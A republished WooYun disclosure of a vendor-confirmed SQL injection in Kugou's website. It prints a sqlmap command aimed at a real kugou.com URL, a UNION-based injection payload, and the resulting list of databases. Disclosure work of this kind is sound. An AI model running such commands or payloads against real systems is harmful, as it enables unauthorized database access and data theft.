酷狗主站一处SQL注入漏洞

admin 2015年8月2日16:15:37评论356 views字数 195阅读0分39秒阅读模式
摘要

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2014-82448

漏洞标题: 酷狗主站一处SQL注入漏洞

相关厂商: 酷狗

漏洞作者: 李宏

提交时间: 2014-11-07 22:07

公开时间: 2014-12-22 22:08

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 注入 sql

1人收藏


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

对提交的参数未作检查导致sql注入!

详细说明:

code 区域
python sqlmap.py -u "http://www.kugou.com/musicshow/app/index.php?a=ge
trecords&t=0.08158387895673513&zpids=1" -p zpids --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 21:45:46

[21:45:46] [INFO] resuming back-end DBMS 'mysql'
[21:45:47] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: zpids
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: a=getrecords&t=0.08158387895673513&zpids=1) UNION ALL SELECT NULL,N
ULL,CONCAT(0x3a6361743a,0x6868536a4e6b456e6d62,0x3a6d677a3a)#
---
[21:45:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[21:45:48] [INFO] fetching database names
[21:45:48] [INFO] the SQL query used returns 5 entries
[21:45:48] [INFO] resumed: "information_schema"
[21:45:48] [INFO] resumed: "fm"
[21:45:48] [INFO] resumed: "musicshow"
[21:45:48] [INFO] resumed: "starshow"
[21:45:48] [INFO] resumed: "test"
available databases [5]:
[*] fm
[*] information_schema
[*] musicshow
[*] starshow
[*] test

漏洞证明:

code 区域
python sqlmap.py -u "http://www.kugou.com/musicshow/app/index.php?a=ge
trecords&t=0.08158387895673513&zpids=1" -p zpids --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 21:45:46

[21:45:46] [INFO] resuming back-end DBMS 'mysql'
[21:45:47] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: zpids
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: a=getrecords&t=0.08158387895673513&zpids=1) UNION ALL SELECT NULL,N
ULL,CONCAT(0x3a6361743a,0x6868536a4e6b456e6d62,0x3a6d677a3a)#
---
[21:45:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[21:45:48] [INFO] fetching database names
[21:45:48] [INFO] the SQL query used returns 5 entries
[21:45:48] [INFO] resumed: "information_schema"
[21:45:48] [INFO] resumed: "fm"
[21:45:48] [INFO] resumed: "musicshow"
[21:45:48] [INFO] resumed: "starshow"
[21:45:48] [INFO] resumed: "test"
available databases [5]:
[*] fm
[*] information_schema
[*] musicshow
[*] starshow
[*] test

修复方案:

检查下文件咯,没了

版权声明:转载请注明来源 李宏@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-10 14:46

厂商回复:

谢谢提交,我们正在安排人除理.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin